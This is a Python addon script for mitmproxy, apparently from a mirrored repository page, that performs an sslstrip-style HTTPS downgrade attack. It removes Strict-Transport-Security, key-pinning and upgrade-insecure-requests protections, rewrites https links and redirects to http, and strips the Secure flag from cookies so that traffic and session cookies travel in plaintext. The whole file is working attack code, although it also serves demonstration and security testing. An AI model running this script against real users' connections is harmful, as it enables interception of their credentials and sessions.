mirror of
https://github.com/Grasscutters/mitmproxy.git
synced 2024-11-27 02:24:18 +00:00
62 lines
2.5 KiB
Python
62 lines
2.5 KiB
Python
"""
|
|
This script implements an sslstrip-like attack based on mitmproxy.
|
|
https://moxie.org/software/sslstrip/
|
|
"""
|
|
import re
|
|
import urllib.parse
|
|
import typing # noqa
|
|
|
|
from mitmproxy import http
|
|
|
|
# set of SSL/TLS capable hosts
|
|
secure_hosts: typing.Set[str] = set()
|
|
|
|
|
|
def request(flow: http.HTTPFlow) -> None:
|
|
flow.request.headers.pop('If-Modified-Since', None)
|
|
flow.request.headers.pop('Cache-Control', None)
|
|
|
|
# do not force https redirection
|
|
flow.request.headers.pop('Upgrade-Insecure-Requests', None)
|
|
|
|
# proxy connections to SSL-enabled hosts
|
|
if flow.request.pretty_host in secure_hosts:
|
|
flow.request.scheme = 'https'
|
|
flow.request.port = 443
|
|
|
|
# We need to update the request destination to whatever is specified in the host header:
|
|
# Having no TLS Server Name Indication from the client and just an IP address as request.host
|
|
# in transparent mode, TLS server name certificate validation would fail.
|
|
flow.request.host = flow.request.pretty_host
|
|
|
|
|
|
def response(flow: http.HTTPFlow) -> None:
|
|
assert flow.response
|
|
flow.response.headers.pop('Strict-Transport-Security', None)
|
|
flow.response.headers.pop('Public-Key-Pins', None)
|
|
|
|
# strip links in response body
|
|
flow.response.content = flow.response.content.replace(b'https://', b'http://')
|
|
|
|
# strip meta tag upgrade-insecure-requests in response body
|
|
csp_meta_tag_pattern = br'<meta.*http-equiv=["\']Content-Security-Policy[\'"].*upgrade-insecure-requests.*?>'
|
|
flow.response.content = re.sub(csp_meta_tag_pattern, b'', flow.response.content, flags=re.IGNORECASE)
|
|
|
|
# strip links in 'Location' header
|
|
if flow.response.headers.get('Location', '').startswith('https://'):
|
|
location = flow.response.headers['Location']
|
|
hostname = urllib.parse.urlparse(location).hostname
|
|
if hostname:
|
|
secure_hosts.add(hostname)
|
|
flow.response.headers['Location'] = location.replace('https://', 'http://', 1)
|
|
|
|
# strip upgrade-insecure-requests in Content-Security-Policy header
|
|
if re.search('upgrade-insecure-requests', flow.response.headers.get('Content-Security-Policy', ''), flags=re.IGNORECASE):
|
|
csp = flow.response.headers['Content-Security-Policy']
|
|
flow.response.headers['Content-Security-Policy'] = re.sub(r'upgrade-insecure-requests[;\s]*', '', csp, flags=re.IGNORECASE)
|
|
|
|
# strip secure flag from 'Set-Cookie' headers
|
|
cookies = flow.response.headers.get_all('Set-Cookie')
|
|
cookies = [re.sub(r';\s*secure\s*', '', s) for s in cookies]
|
|
flow.response.headers.set_all('Set-Cookie', cookies)
|